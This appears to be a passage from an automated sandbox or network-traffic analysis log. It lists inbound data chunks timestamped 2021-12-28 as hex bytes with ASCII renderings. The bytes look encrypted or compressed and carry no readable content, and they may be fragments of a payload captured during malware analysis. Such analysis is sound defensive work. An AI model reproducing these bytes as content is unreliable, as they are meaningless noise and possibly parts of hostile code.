2021-12-28 04:19:41 UTC	3724	IN	Data Raw: d0 a8 83 23 d8 63 31 54 5b ed 5e 6e 18 aa 1e d0 ec 97 07 9c 14 a1 4b 99 e6 9d ab 91 9a ff 43 f6 91 7d 3d d2 d3 a8 0d c2 16 10 da df 75 c2 91 04 91 87 af ef a2 9d 17 96 79 3f 01 6a 62 9c 8c b9 44 7f a5 46 97 da 55 e5 2d 5b 39 e3 01 7c 78 33 3a 89 4c e5 8c 1d 87 59 a1 36 b6 ff 4a 9c 79 05 35 95 67 93 c7 72 cd da 2e d6 0c 94 d5 cf 7c de 92 17 ff 16 52 38 31 52 19 e6 8d 00 7c 44 26 4c 6d 10 27 81 86 98 f9 36 75 39 b1 db a4 b5 72 96 7c f3 fa ca e4 84 fe c9 06 f0 6c ab 09 fe 50 7c 91 4a 0d 43 f7 9c 16 d4 57 cd 56 ad 84 2c 1a 04 b9 a0 d9 af 93 b3 8b 7b ac 0c d6 b7 ac 1e 62 4f 42 e7 94 cb f3 4e f8 d5 1c 44 ae 86 f7 b3 56 e8 7f 86 d9 33 fd 38 28 a3 26 be b2 1a c2 02 43 12 dc f6 c1 33 dc 55 31 5a 11 ac 38 10 f1 2a 95 29 9a 31 01 d1 81 b8 27 84 11 44 9e e7 c3 14 64 Data Ascii: #c1T[^nKC}=uy?jbDFU-[9\|x3:LY6Jy5gr.\|R81R\|D&Lm'6u9r\|lP\|JCWV,{bOBNDV38(&C3U1Z8*)1'Dd
2021-12-28 04:19:41 UTC	3740	IN	Data Raw: 38 b8 e5 43 b4 fe 0b 5c 93 e7 18 c9 fe 8b 8a a4 63 c8 f9 95 dc 50 35 29 f3 3e bd e8 a7 ac d6 0e 6c 9b 72 1c 24 50 25 63 af b5 cd c9 ec 88 e7 18 1a ac 37 35 33 55 66 24 7f 95 81 58 ca 43 8f 5a 70 da 05 85 45 3a 8c 22 4b 56 70 22 36 65 2f 1d 98 23 4c bb 69 b3 58 28 33 f2 68 7f 31 3a f0 84 46 8f 6f f0 38 ac 4f 38 37 35 1b 1f 4c b9 9c a3 85 f9 0f e0 a2 86 ef ae 89 f6 f4 ff fc a2 7f 1d 2e 26 13 d0 c0 93 84 49 33 05 b4 a3 ca e3 82 98 d8 9f 68 2a 6e a1 53 79 c2 0e a1 8e 2a 62 2d 8e 0e ab bd 7a c3 cc e1 91 a3 ad db 62 ba c2 40 23 c4 4d 25 12 bf 55 66 8c e8 81 05 dc e0 b0 73 67 9d d3 aa cd 06 8e 9f dd 4d 9b 24 72 af f3 89 79 92 9a 07 a0 bc bd d2 76 3b 39 97 26 09 b0 eb 23 97 b8 0a 18 59 5f e1 0e a6 14 e5 8e 54 8b 48 38 97 44 0e 97 43 f6 c2 f3 ec ec 74 fc 76 31 44 Data Ascii: 8C\cP5)>lr$P%c753Uf$XCZpE:"KVp"6e/#LiX(3h1:Fo8O875L.&I3hnSyb-zb@#M%UfsgM$ryv;9&#Y_TH8DCtv1D
2021-12-28 04:19:41 UTC	3756	IN	Data Raw: c1 d3 55 3d 68 86 df d0 4b 75 b5 4c 78 f6 70 e7 4d 85 75 c8 83 90 b6 43 88 70 b7 1e 3e fb 96 6f 6e 69 bd db 3d 42 09 a6 b3 b4 fe ed d7 93 22 94 ed 78 20 43 e1 ed 6c 0a 61 71 53 67 79 d8 f8 d4 52 3a 9f df cd 81 bd d2 b1 8e a4 73 8a 80 09 8c a0 81 fb 8c d0 b1 88 9f 98 f1 ac 87 d8 63 04 43 c8 ee 6b ca d3 a3 4a 03 00 25 b6 ea a7 6d 90 3a 61 9e 5e fb e5 cd 4a 96 61 a5 6f a5 a6 b8 be cc da 4a 9f 74 51 a7 95 57 13 90 42 db d1 65 41 92 4d 84 f9 97 77 ce 4c e4 df 5a 22 6c 4b dd e7 ef 39 6d fb 74 f8 cd 59 77 04 fc 9a 6c 1f 39 1b 71 51 27 0a 4c 39 a3 cc 75 03 b2 0b 67 a9 33 26 57 cb 66 b6 7b ff 79 e2 b4 23 73 47 43 f9 6b c0 9f b0 80 f8 a6 da 77 7d 00 ec cb f8 37 fd 3c 7b 7b d3 e1 5c 13 b1 4d dc 93 de 50 48 bf d1 ed 00 a7 62 e1 0f 38 71 0a 1f bc d6 ff 80 3f d9 47 3a Data Ascii: U=hKuLxpMuCp>oni=B"x ClaqSgyR:scCkJ%m:a^JaoJtQWBeAMwLZ"lK9mtYwl9qQ'L9ug3&Wf{y#sGCkw}7<{{\MPHb8q?G:
2021-12-28 04:19:41 UTC	3772	IN	Data Raw: 60 6a 7b d9 8a 8d 50 2b 0e 98 41 44 c2 82 99 36 5d f0 a3 f2 94 30 0b e5 7b e1 5f dc b6 d2 0a fe 24 2b 65 eb 58 ff 1b fe 28 5a b7 b0 27 41 b4 99 86 41 b7 aa 08 1a b2 00 ff 7b 40 bd bd 8a 7f 0f 6c bd e4 d8 17 e1 2a 83 be a4 dd f3 60 33 46 62 a0 ee ab 43 89 a0 a0 25 8f 9d c5 38 fb cc b4 d5 c7 61 63 12 a5 e1 cf be a0 36 ff 8f 92 88 5b c4 dc 88 b7 b7 f6 ed c3 f9 2c 40 b6 21 b4 26 8f 7c c8 6c 20 1d 41 f7 84 e8 b4 64 8c c8 b6 c7 b4 bb 5f 35 ae a8 03 5c e6 fb 9a b4 a0 9d 2a 37 1e 10 47 5d 06 58 ae 15 a5 52 e2 88 cb e0 ea 29 ad 7a 1f b7 4d 2a cf 31 20 ad e9 a8 8d 68 bc e0 f9 b8 44 ed c1 7d f8 54 63 e6 12 30 48 9b ae 14 a8 31 fd 96 c3 27 24 b3 b5 94 cc 63 93 6f 63 6d 64 ae 54 6e 2c 50 c8 9d 78 53 d8 74 08 54 24 de b5 97 29 7e 17 25 68 03 77 00 d9 d4 ac 69 65 54 68 Data Ascii: `j{P+AD6]0{_$+eX(Z'AA{@l`3FbC%8ac6[,@!&\|l Ad_5\7G]XR)zM*1 hD}Tc0H1'$cocmdTn,PxStT$)~%hwieTh
2021-12-28 04:19:41 UTC	3788	IN	Data Raw: 34 11 5f f8 7a e5 27 fd 34 25 02 e0 90 f8 28 1f 9b 7d 66 75 0f 12 3d dd 0c 02 e7 30 c7 42 d1 01 26 94 63 32 f3 f7 3c 4c ca 50 ce 28 c0 6c 20 3b b1 d0 8b 4e ba d1 af 29 ff e4 b3 26 bf e0 45 e4 f9 6f ad 83 ec 85 05 7d dc d6 1b d7 76 ce 8a 9a ce a6 0d 7a 70 54 f6 c8 6d 97 3b c5 40 de cc 2c 0b a5 fc 9d 45 af b0 c2 df f2 14 09 b8 93 b3 d6 1d df b6 02 b4 39 db 65 f7 61 f4 d1 8c 7a 51 f4 4c ca 4d 14 94 a6 8f 6d f8 a6 42 ea 43 fb 97 32 aa 03 f8 bd 5b e1 98 3d 48 5c ac 0d 55 d9 7b fd 4a c7 cd dc 2f f2 82 22 f6 84 33 d4 3d 7b 7b 24 2f e8 2c 86 3f ad 06 5a c3 2f f9 81 1f 1e 52 43 8f e0 f1 f8 17 05 71 1a 87 b9 84 19 21 29 c0 01 9a 27 6b cb a1 e5 98 4d a6 e6 ea 57 90 37 26 66 a2 6f b1 f1 d4 f5 bc b4 9c 7b 6c fb 65 37 95 a6 19 86 bc 05 d5 a8 fa e2 2e 36 ea 54 88 f9 51 Data Ascii: 4_z'4%(}fu=0B&c2<LP(l ;N)&Eo}vzpTm;@,E9eazQLMmBC2[=H\U{J/"3={{$/,?Z/RCq!)'kMW7&fo{le7.6TQ
2021-12-28 04:19:41 UTC	3804	IN	Data Raw: 0c 74 0c b1 7e 5d ff 7c fa 97 00 da ac 43 9a d7 e0 7f 33 18 d1 41 95 f9 49 3b f2 c6 5b b5 44 8c c3 e8 b8 56 e3 48 9b 84 8e 0f 7b 77 15 83 2d 62 c1 9f fc c4 bd e9 d5 cc 1b 82 9b 86 ab 60 3f b4 71 32 13 23 7f 01 59 f6 23 6d 0a 5b f3 1a ed e1 c0 f7 6b b7 67 ba 40 f7 36 4f 7b 92 3d 76 69 35 d0 90 75 30 69 84 83 43 b7 8d c9 77 e5 03 f6 ad dd fb b1 ea 98 8d a1 3f fc 9e b6 6f fb ed a6 6e 2c 3a b4 cb a9 f1 be 02 46 2d f9 a0 59 3b 55 16 cf 08 d0 d6 f9 c4 f9 31 d3 a3 07 1f 4d bc c9 0f 19 eb 4a 52 0a b4 e8 a9 42 97 b6 83 1b 75 55 5c cb 70 f9 40 fe 04 87 1a 83 26 fd e8 8d d9 30 d2 ec fd 58 54 bc 52 73 8c 79 90 9a 66 9b 4e b9 6f a6 c2 59 e9 ca 90 17 16 1e 43 d2 ea 37 8e 12 7e b8 80 78 fc 80 97 9f 72 a7 e0 5f 55 ab fa 69 1c 9a 17 2e df b7 9f db f7 72 a7 08 71 ae ce 3b Data Ascii: t~]\|C3AI;[DVH{w-b`?q2#Y#m[kg@6O{=vi5u0iCw?on,:F-Y;U1MJRBuU\p@&0XTRsyfNoYC7~xr_Ui.rq;
2021-12-28 04:19:41 UTC	3820	IN	Data Raw: 4a 56 c1 52 a6 16 a2 ff c0 78 26 48 48 4e f2 d4 61 18 90 65 0f 80 dd bc 61 50 a0 40 3d 1a 5e b3 8c 19 04 ae d5 aa 4c 66 73 8b 66 79 52 c8 f6 b4 80 56 d1 05 db 01 70 aa 3b c7 f2 71 64 a4 da 4b e9 6c 98 70 89 97 ec 15 77 4a 23 16 e8 84 06 84 fe a2 53 01 3c bd 22 47 16 0c 08 07 c8 9c c4 ea ba 18 86 04 c3 9b 82 1f 91 a1 b2 54 be dc 5b 10 08 de 25 f3 66 af 30 a1 87 62 27 39 f3 08 53 1b 38 cd 5f 95 50 e6 11 bd 79 8f 5c 09 32 17 98 ad 77 c6 b7 70 99 fb 8e 62 08 59 1f ee 67 7b 73 1d f8 d7 94 8b 9b 7d df 71 63 5c bd ae 38 db 8e 2c 79 47 b3 07 a9 a1 86 eb 8c 6b f7 dd ca ff b8 8b a1 e2 f7 aa 50 e0 45 9b 62 1b a9 5e 21 d1 92 89 52 16 96 c4 64 d9 8f cd fd 98 b2 1c 43 79 69 48 2d 8f 08 3b 02 fc 55 87 cc 51 c5 2f 24 62 bb e3 28 37 ba 35 e0 07 e2 2b fc ec f8 47 06 b2 18 Data Ascii: JVRx&HHNaeaP@=^LfsfyRVp;qdKlpwJ#S<"GT[%f0b'9S8_Py\2wpbYg{s}qc\8,yGkPEb^!RdCyiH-;UQ/$b(75+G
2021-12-28 04:19:41 UTC	3836	IN	Data Raw: 02 3d 1a 0a 04 ee e7 ce 91 87 6e 57 2c e0 bb b1 07 c9 0b c5 64 33 f2 ba a5 6f dc 27 9b e7 d7 80 86 9e 4e a1 93 3d c1 f2 7e 63 bd 1a 8a 6e d9 fd d9 b2 b2 8f d1 42 9b 00 2d 69 f5 e8 85 09 7b 47 ee c1 bc ee a2 5c b4 c1 fb 19 54 87 6f 96 7b 26 a8 20 96 a6 9b be 14 45 0e e7 b9 41 3a 1d 2f 64 94 74 c1 f2 f5 fb bf 6b 32 54 0f 78 d8 09 3a 21 e7 bf 16 be e0 af 0e 29 de 9e ee ae 51 00 20 51 bb 8f 4f 11 9b 9e 88 61 6d 93 cb 9a 7a 53 cb e0 65 a2 ff 75 ea 7e d9 fd b4 b8 ef 11 5b 79 cd ec f6 87 13 af e1 1f 29 de 34 e7 45 f4 1c 68 e1 1c f0 33 d3 df 83 3d 6e 31 07 fc 1d bd b6 c8 ec 2a de b4 f0 c3 21 83 b2 de 86 93 78 00 7a 83 5b 91 77 8f 6f 47 66 5c 90 e6 86 b2 71 6b 93 b6 f1 fb 6c 89 2b 26 f1 11 63 67 06 21 15 68 6c e7 f2 4f ab 12 31 8a 21 0d ca 85 7a 3b a0 04 b3 1c cc Data Ascii: =nW,d3o'N=~cnB-i{G\To{& EA:/dtk2Tx:!)Q QOamzSeu~[y)4Eh3=n1*!xz[woGf\qkl+&cg!hlO1!z;
2021-12-28 04:19:41 UTC	3852	IN	Data Raw: bc 3a 36 86 9a a6 f7 a0 ce 6e 75 29 04 36 fb 80 f7 0f 23 28 68 58 50 29 5e 7a 02 0f 63 fc 98 ad f1 8a 41 6e 75 e1 ca 15 1b 93 8a c1 ee 01 14 37 3f 39 93 57 63 c0 fa 64 94 0d 55 03 05 9b d7 7d d5 be 30 66 72 22 5c 89 88 03 a9 7a dd 19 45 ca 3a 94 c7 d9 c2 cf 1e f3 e4 dd 6c fd 42 81 61 be be 37 8d da fe ce 71 21 93 c6 4a a5 6f 88 86 e5 5d 4c 25 8a 0e ad 1a 81 56 f5 e7 41 96 28 d6 98 22 ee 2a 49 fd 65 70 cf 31 24 69 46 de a3 46 bb 7a 68 7f 6d 28 f2 12 01 62 16 61 06 bb d4 7f 9d b5 97 b8 e9 7b bf d2 8a 54 de ba 22 89 f5 b2 36 ea 6e 17 bd fa 62 ec 98 13 3e 5a ff c4 97 ca 63 c1 59 f3 16 6b 70 93 4b 6d b8 93 a2 b5 59 1e 38 74 c4 ec 78 13 4b 8f 79 47 3a f4 f3 67 c9 d0 f2 38 19 56 16 67 f8 cf d0 c2 38 8b 7d fa 30 90 2d 57 7d de f2 1e ca f9 f9 c0 de 5a fc b8 31 cf Data Ascii: :6nu)6#(hXP)^zcAnu7?9WcdU}0fr"\zE:lBa7q!Jo]L%VA("*Iep1$iFFzhm(ba{T"6nb>ZcYkpKmY8txKyG:g8Vg8}0-W}Z1
2021-12-28 04:19:41 UTC	3868	IN	Data Raw: 45 ef 6c 5d ce 3d 02 a6 21 03 1f be 67 c2 a9 2f aa 79 aa f0 6c 9f 66 9e 74 2c 06 b7 30 30 60 40 84 e3 f3 fd 08 8a 5e 1a 3a 68 74 c2 39 92 76 89 e5 91 34 6b ba 9a bb e5 23 f2 32 88 f0 91 76 74 e0 0d 67 0f df f9 77 c4 3d 3f ef 6f 53 3a df 62 48 c7 01 af 71 79 34 93 c6 9c f2 85 00 58 2d fe 41 bf ff d8 4b 92 ea 09 01 89 c3 4b c4 11 a1 8c bb 53 da b9 5d c3 22 b2 d5 9b 8d 8b dd cb a3 7f 8d 1b b9 18 c4 78 49 ba b8 b8 59 37 6e c6 8c ef e1 f3 91 41 79 86 e6 fb e5 8c db aa b8 8e de 17 45 cf 23 bb a3 8a 78 d2 34 39 c8 c6 6b 17 c2 cb ca 46 74 3d ef 24 89 24 e2 88 0d f4 f3 e7 b5 39 ba 93 2f e6 16 b0 4d 17 34 1c 11 81 c4 d2 db b6 de 65 a4 fd be 6c bb b1 c0 47 79 26 3b f3 54 ea aa d5 40 19 9f 8c f1 40 52 9b 64 66 7c f8 15 a4 32 ff 42 1f ea 54 12 a1 2c 02 45 25 a1 81 34 Data Ascii: El]=!g/ylft,00`@^:ht9v4k#2vtgw=?oS:bHqy4X-AKKS]"xIY7nAyE#x49kFt=$$9/M4elGy&;T@@Rdf\|2BT,E%4
2021-12-28 04:19:41 UTC	3884	IN	Data Raw: e8 69 fb 4f 6e 5e ad da a0 78 e6 8e 21 29 d0 92 71 bb ff 8e 70 1f 07 e9 a1 9e 49 42 bb 2e 98 c0 c5 7d 71 8d b6 4a 7a c5 cc 58 84 7f 25 54 24 a1 54 ea 28 98 0b 8d ba d1 35 2c 1e aa 3b d2 41 63 2e 33 fd 6a 36 26 cd 55 8a 35 1c 81 22 da 45 c7 28 30 0d 84 82 f0 73 e1 0d 85 52 cb 1e 55 46 ff 1c 1c 1b eb c9 15 35 88 82 ec c4 da 2f 51 e7 d9 ec 35 c7 bc 78 46 32 e3 10 48 fb 9c a0 39 79 bb 17 87 41 8b 95 19 06 bb 8c b6 dc 57 0f 04 20 16 19 cf 31 28 15 50 8d ea 88 45 a3 07 57 24 80 f2 56 c3 96 47 ac c6 e0 ac ef d2 ca 64 71 09 96 b7 49 12 c3 31 c8 bc 13 83 ca 37 64 81 fe 1d dc fe dc b9 2f d8 38 e4 51 89 45 93 67 f3 54 00 53 21 07 34 0c 7b b3 ef c7 3b 93 b3 72 44 ce 41 e2 91 ec 17 22 0d 22 5a 76 95 fa 70 46 11 ba 52 f2 be b9 d8 8c 70 fb 08 ad 24 22 0c 44 4b 9d bd b0 Data Ascii: iOn^x!)qpIB.}qJzX%T$T(5,;Ac.3j6&U5"E(0sRUF5/Q5xF2H9yAW 1(PEW$VGdqI17d/8QEgTS!4{;rDA""ZvpFRp$"DK
2021-12-28 04:19:41 UTC	3900	IN	Data Raw: 82 42 da a6 29 a5 8b 4f e0 6f 68 4a c3 dd 8a f1 21 e5 22 f2 62 1e c6 85 de 0b ae 07 ec c9 a0 e0 0d e5 b9 8d fa c2 1c 52 95 ef 9c bf 9b 0c 19 be 56 4f 11 5f 6b 82 aa cc ea 10 33 9f 3d cc 29 c6 b8 aa 14 7c 45 56 07 3b 67 51 13 aa bd c5 d8 cd 53 6a 36 f0 41 93 dd cf 2c df c7 11 8d 29 be 24 73 34 1a ad a9 ab 52 63 93 e2 f1 81 0d 49 c0 00 c3 27 3d 68 82 4e d7 bb 76 40 11 c1 54 a3 cb 9c 45 b4 af d7 d1 5a 76 c1 9e 98 0f 56 80 78 1b bc 66 8a 9b 95 4f ad d1 ac 42 36 46 c2 89 c1 5a 8d 8c c4 57 4a 2a 51 a7 a4 9b e8 2a fb 17 47 e8 c9 32 08 3a 60 b0 e4 61 1e 1e f9 34 99 28 78 f2 54 7e 0d a9 fe e9 00 6d d4 c6 a0 a4 07 57 5d 8d e8 9b f1 03 00 b1 5c cf 6e ea f0 07 a0 94 4a 60 a8 3d ed e2 e7 ed 57 d8 18 6b 16 f7 31 9b dc 14 6c 07 80 bd c8 8d e5 02 d9 ef 0e 10 c5 53 53 16 Data Ascii: B)OohJ!"bRVO_k3=)\|EV;gQSj6A,)$s4RcI'=hNv@TEZvVxfOB6FZWJQG2:`a4(xT~mW]\nJ`=Wk1lSS
2021-12-28 04:19:41 UTC	3916	IN	Data Raw: f6 3d f6 5d 03 85 61 13 31 ca 9c 29 c9 32 53 0d 81 3c ac 88 54 17 f5 04 8c 19 cb 5d 88 b0 1f e5 91 fa ec 39 8f d8 1a 8f 1e 44 3f 50 86 d1 35 ab 73 71 14 d4 a9 b5 36 b3 07 bf f8 dd ee 5f 57 a9 82 b7 da ea 31 64 7a 39 c6 ca b0 6d 3c c0 ed e2 da 95 ec 7b 5c 70 b5 a3 da 2a 0c 00 f3 a7 75 d2 e0 a2 36 81 91 27 29 0c e2 57 ae f9 c5 ae e7 1f 0e f2 48 dd d8 a1 ef 2f bf 19 2c 01 3f 7a 77 3c fe 6d 9a ff e4 b7 7c d2 94 b9 83 79 ad 52 47 b1 df eb 38 87 5a 84 e1 1a db e0 6a f6 be a9 86 11 2d 06 90 ea 0d 92 de 4b 82 41 54 7a d4 88 06 1b a8 f4 bf a2 6e 24 54 02 73 f0 01 81 88 ab 39 4d 66 24 63 35 68 2c 0e 70 73 c5 5a c4 36 37 ef 11 ea 73 2e 08 ec 8c 47 bd 90 b3 8f da bb 3a e5 f6 78 60 94 e1 68 28 27 5b d6 6e ee 51 c0 82 02 35 b5 fb 47 10 dd 95 83 4e 57 17 31 74 d5 7d 09 Data Ascii: =]a1)2S<T]9D?P5sq6_W1dz9m<{\p*u6')WH/,?zw<m\|yRG8Zj-KATzn$Ts9Mf$c5h,psZ67s.G:x`h('[nQ5GNW1t}
2021-12-28 04:19:41 UTC	3932	IN	Data Raw: c8 de 99 22 4c ba 88 e8 b7 ab 1f 05 1b 65 a7 23 10 b7 cf 3e bf 4f 6b 7c e2 d1 38 47 7c 10 46 ae 49 e0 27 54 12 06 70 a7 54 6f 8a 70 f1 20 0d 3e eb 77 d6 e2 f8 47 4a b8 ca 97 6e d5 ca 8c 16 86 eb 02 95 6a 1f 79 89 fa 13 06 18 08 fb 70 3c f3 af 27 ab cf 50 99 bb 65 c1 70 a6 bc d4 14 6e 7b f0 f9 cd 5a 26 69 ff 5b 93 cf 13 db c0 1a 8f 63 d2 c4 28 5a ad dc 94 b8 44 b9 9a e0 73 ed dc 0a 29 48 6d e8 89 bc ae 8b 66 e8 df 4a 76 d4 8c de da e2 65 96 d0 05 0e ce 49 fa f5 22 ff a4 92 79 ca e7 be ac 08 23 71 3f 6d bf 2e 8a d1 65 e3 18 65 a5 76 e4 09 4c 76 90 36 fe e3 d0 ee e8 38 74 bd 38 f8 6a 9d de 69 0d ee fc 4f 90 2f fb f1 81 c4 85 f8 3b 00 eb c2 ae c0 eb 1a f5 93 47 d8 a7 2a 69 91 0f 6a d5 d2 6a 0d 86 11 0e d2 6b e4 41 04 f1 24 52 ba 18 33 0a ec 32 0a 9d f6 58 e0 Data Ascii: "Le#>Ok\|8G\|FI'TpTop >wGJnjyp<'Pepn{Z&i[c(ZDs)HmfJveI"y#q?m.eevLv68t8jiO/;G*ijjkA$R32X
2021-12-28 04:19:41 UTC	3948	IN	Data Raw: 77 0d bd ae 13 42 11 18 20 e8 f1 72 da 92 37 2e 67 30 e0 3a 9d e8 01 92 74 05 92 8b d3 48 b3 55 44 db ab b5 21 11 27 af ef f9 56 e8 ad f8 5d 69 6d 87 b1 34 5d 2e 69 6c cd 32 a5 fc b6 a6 ce 76 05 0d 3a d6 b7 c5 ce a1 58 24 ca da 84 fd c2 c8 f1 1e 34 11 29 7c 3e 1d 2b 9a 54 ce 0e 39 94 b1 ec 04 2c 12 d5 49 91 8a 26 5b 2a ae e0 81 67 0c c1 21 a6 44 9f c2 18 73 5b 30 42 b5 53 18 50 df 52 ae 8b ab 3d 97 28 b3 17 c1 c2 c5 39 fd 36 2f c9 c3 a7 dc 62 42 81 7f 21 75 49 9c ed f1 b4 f6 b1 33 db e9 50 66 c8 d3 6e a6 3e aa 8d d9 2b 9b 58 85 4f b8 ab 0c c5 93 a3 48 90 25 57 75 85 3e e1 1b f8 f6 b9 84 15 ab 94 11 6e 88 1d 88 a5 00 35 14 b3 3f 17 d6 27 ed 0c 81 d1 54 74 56 66 ac cd eb b3 96 09 69 b4 28 81 26 74 8d 81 ba 29 f5 8d 06 92 4d 7b 61 07 a7 9a 03 31 9b 01 30 7c Data Ascii: wB r7.g0:tHUD!'V]im4].il2v:X$4)\|>+T9,I&[*g!Ds[0BSPR=(96/bB!uI3Pfn>+XOH%Wu>n5?'TtVfi(&t)M{a10\|
2021-12-28 04:19:41 UTC	3964	IN	Data Raw: b1 3e 44 87 66 f3 d5 5d 22 d4 09 79 cd 3d 5a b8 93 f5 7c 0a 34 d8 1f ad 43 31 c8 25 79 b8 5a 9a ca f8 86 bc e7 12 13 f9 66 10 f1 d7 01 fa 26 bd d2 c0 f2 b0 33 62 ef 06 da 15 64 18 dd 4a 70 9f 24 a4 9b a9 ec 4c 56 16 33 89 50 0a b2 ce a7 4d 57 6d 93 f3 c6 0f 1d 2c 16 ab 28 c1 6a 7d 6b 37 46 2d 4a 1e ee 12 b3 36 63 1f 9a 84 92 30 c2 40 1b 08 f1 d9 45 13 31 b1 05 12 f0 ce a3 41 74 97 d2 d4 99 55 2e 1c 62 ad cd ae 52 9c 5a 7d f8 4c 6c bc 2f 87 98 67 09 61 a5 59 95 2b 7b ab e8 71 e2 88 13 0c 82 59 7b 93 74 9a 53 17 fb 70 89 70 d9 07 7f 0f 06 62 62 08 b7 96 2d 6f 2c 11 6c 1a 58 70 7f 66 e9 59 7d a0 5b bc db e0 80 a9 e1 91 17 cf e0 05 b1 26 80 da 71 0c c8 9f 78 73 8f 97 45 a4 92 72 2a d8 98 4e d4 6d 72 1d 82 c7 9e ab 62 de 39 13 01 3d 33 ca 30 60 22 95 a2 81 00 Data Ascii: >Df]"y=Z\|4C1%yZf&3bdJp$LV3PMWm,(j}k7F-J6c0@E1AtU.bRZ}Ll/gaY+{qY{tSppbb-o,lXpfY}[&qxsEr*Nmrb9=30`"
2021-12-28 04:19:41 UTC	3980	IN	Data Raw: 53 a1 2b b8 27 08 2f 9f a8 54 19 58 a7 3d ab b3 52 1f 43 5b 7f f2 bd 7a 06 dd f9 4e d0 ed 54 df 05 01 f8 d0 d7 50 96 09 58 80 31 1b 16 5a 5e 19 3c 5b 37 c6 00 fc 45 c5 5c 93 5d d5 b6 6b d4 a7 22 0a 5e 01 b5 e1 8b e4 32 5c 9f 39 2c 06 ef ab 7a 0a 8c bc 80 7d 88 6c 9d 2f da 77 34 4a e0 51 0f 75 31 03 9e 66 b6 b7 39 6c ae c7 e3 ca 69 d9 ea 83 78 4a b1 42 94 81 0e dc a3 cc d4 4c b7 51 6a 36 f4 b1 9e b5 f3 97 5b f9 3e 98 57 fe c6 fd ae db 38 2d 59 08 a4 9c f0 55 83 3d d2 e7 e6 08 7f 1a 90 2e 34 55 44 8a 27 94 01 56 d1 5f 09 a4 b5 8f 21 81 ab 30 14 66 b3 c8 dd 62 23 42 ae 85 1f df 65 79 0c 10 1a b9 85 09 e5 c8 5c 3b 6f c0 7d 13 0e 79 63 30 98 67 ab ad 13 3c 99 94 d9 19 dd 20 29 fb 16 b0 2a 2a bf b5 d5 89 32 f4 f4 c5 1d cb a2 5b 07 e4 80 e1 11 3f e0 80 c3 bb 14 Data Ascii: S+'/TX=RC[zNTPX1Z^<[7E\]k"^2\9,z}l/w4JQu1f9lixJBLQj6[>W8-YU=.4UD'V_!0fb#Bey\;o}yc0g< )**2[?
2021-12-28 04:19:41 UTC	3996	IN	Data Raw: 0c dc 70 29 a3 e2 4c b5 d2 fd a4 c6 3b 6e c2 ec fc 7d f8 73 31 54 2c 83 9b b7 7e f0 9a ee be ff ad d3 9b 1d cd 1b 6d b2 d4 29 1a 21 cf 2d 31 14 b2 03 4c 73 d3 97 e7 49 e2 79 5e 1f 8c 2b f9 b5 66 e2 57 1d ab 7f 52 a2 ab 1d a7 a6 e0 a0 de bd 6f 23 2e 1f 58 cf f2 b0 ea 47 97 21 8d 4c c4 cd 67 ea 6b 9e 78 cb e3 54 2d ec e2 37 95 32 57 a9 4b 37 36 8c 6d 74 a1 bd bf d0 8e 8f 6f 22 1b d1 71 51 ca ad c0 69 46 4e 2c 60 53 40 03 38 7f 9f c5 e7 9e 76 63 7f e1 60 47 af 6f 31 e9 7d db 79 0d b8 6a c6 f4 63 43 23 fe 37 01 d9 81 26 f3 46 d4 cd b2 f1 bf af a8 c3 38 5c 2b ed 36 d4 17 88 4f fe 26 a6 04 fd bc a7 51 60 86 92 98 ef 09 1a 00 43 aa ea 48 fb 73 8f ab 26 85 dd 99 75 1b 24 4e 32 20 ef 3d b4 65 8e c2 21 d0 c9 44 33 b4 d8 a0 d1 61 d2 ad 2d af 9e 96 fb b7 dd bb 6e e2 Data Ascii: p)L;n}s1T,~m)!-1LsIy^+fWRo#.XG!LgkxT-72WK76mto"qQiFN,`S@8vc`Go1}yjcC#7&F8\+6O&Q`CHs&u$N2 =e!D3a-n
2021-12-28 04:19:41 UTC	4012	IN	Data Raw: ae 69 91 23 81 bc 15 4e d8 93 e3 20 db ed ba 2c ee b3 39 2b e0 ec f5 6d 8c 27 c2 3f 64 73 29 fb 98 41 93 7e cd 61 b9 c6 0b 62 6f 79 7a d0 d6 da c3 af c6 68 4b fe 96 f8 98 17 d2 4a ab d7 9a ca a1 34 04 ee ac 75 18 ac a1 e6 c6 0b fd 94 e5 4f 74 fc e7 ba 38 51 a2 06 cf 2c 48 4e f5 40 03 c7 71 f7 17 bc 4f 4c 4a ad 61 aa c2 1f 9f 9b 21 82 38 62 64 2b fb 83 72 4f c2 9b 55 af 55 f4 e4 09 3f af 48 1d 60 3a ec b3 44 50 02 0e 30 96 f6 64 16 ea 83 0f 93 10 8e db 88 fa a1 ad 12 1c 80 cb 22 f7 9a e2 6b f2 0a 07 25 b6 f1 fe 2e 92 7d 82 53 ea eb ab 26 d3 c4 04 22 70 31 ab dc 33 9f aa 11 f4 b3 be 35 0f 20 c1 e5 1a 2a 26 a1 5e c0 2b e0 82 cf 7f 7f 1f 29 88 cc 71 8f d0 b9 47 5b ec 26 86 69 d0 06 73 ca 67 b1 79 37 d4 3a a5 79 a2 64 4c 5d 6e d4 fe 7c ad fb 46 5e aa 32 ef 50 Data Ascii: i#N ,9+m'?ds)A~aboyzhKJ4uOt8Q,HN@qOLJa!8bd+rOUU?H`:DP0d"k%.}S&"p135 *&^+)qG[&isgy7:ydL]n\|F^2P
2021-12-28 04:19:41 UTC	4028	IN	Data Raw: d7 a6 41 c6 b9 a5 0b 62 5b d7 df 15 9f b3 d0 6d 98 a1 01 c7 bc c3 f2 89 b6 52 ca a3 f6 ef e5 55 16 00 c8 6e 51 96 ee 71 f2 f0 89 43 ea 00 4c 1f 8a 13 a2 2c ba 88 2c 6b 14 24 88 46 b7 05 ba cd c8 10 f3 b7 b2 ab 1e da cd 6f a8 b8 e7 db 20 3a af 81 13 37 2f fd f5 74 78 33 4c 41 af 20 42 3d 80 db 3d b7 ff 11 5b 02 2c a4 1d 6f 62 56 b5 f1 f4 5e 51 1c 27 f5 0c 37 43 73 ff 1e e9 09 d0 bb 24 53 b6 ba 7e 5a e0 06 d7 d1 69 6e 8f 6a f2 91 82 62 03 fc 91 08 51 8b 77 12 b1 44 fa fa 9e 97 1e ed ac f6 ef 4c 4b 46 b3 81 05 9a de 3c 21 b3 76 60 14 21 bf 96 57 78 32 76 02 6b b4 e6 33 95 63 7e 8e e5 ec 8f ee 31 a2 cc cc 8e 40 65 e5 c4 66 0c d7 2b 0f 07 42 d6 ae e4 c7 0d 27 78 ed a9 6f 11 57 eb 37 ab 9c a1 fa 58 2a 42 b7 08 78 cf be 22 1c 04 ee 98 20 13 f9 e9 78 3d 19 82 86 Data Ascii: Ab[mRUnQqCL,,k$Fo :7/tx3LA B==[,obV^Q'7Cs$S~ZinjbQwDLKF<!v`!Wx2vk3c~1@ef+B'xoW7X*Bx" x=
